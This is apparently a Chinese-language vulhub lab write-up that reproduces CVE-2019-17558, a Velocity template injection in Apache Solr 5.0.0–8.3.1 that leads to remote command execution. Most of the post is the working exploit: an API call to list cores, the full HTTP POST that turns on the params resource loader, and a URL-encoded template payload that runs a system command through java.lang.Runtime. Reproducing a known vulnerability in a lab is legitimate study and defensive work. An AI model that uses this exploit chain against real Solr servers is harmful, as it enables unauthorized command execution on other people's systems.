vulhub中Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

2.通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称:

POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3.注入Velocity模板即可执行任意命令:

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关推荐
凌北辰18 小时前
web平台—apache
linux·运维·服务器·前端·apache
沐沐森的故事1 天前
Unity之创建与导出PDF
unity·pdf·lucene·itextsharp
2401_857610031 天前
强强联合:Apache Kylin与Impala的集成之道
大数据·apache·kylin
Apache Flink1 天前
探索 Apache Paimon 在阿里智能引擎的应用场景
大数据·flink·apache·paimon
大数据之家1 天前
Apache Ranger 2.4.0 集成Hive 3.x(Kerbos)
hive·hadoop·apache
tingting01191 天前
k8s上部署单节点apache-lotdb
容器·kubernetes·apache
大数据卷神2 天前
(linux系统服务)FTP、NFS以及SAMBA服务
linux·运维·服务器·nginx·ubuntu·centos·apache
阳爱铭2 天前
Apache Iceberg:现代数据湖存储格式的未来
java·大数据·数据库·架构·apache·数据库开发·数据库架构
菜鸡且互啄692 天前
Apache POI、EasyPoi、EasyExcel
apache
Apache IoTDB2 天前
Apache IoTDB 监控详解 | 分布式系统监控基础
apache·iotdb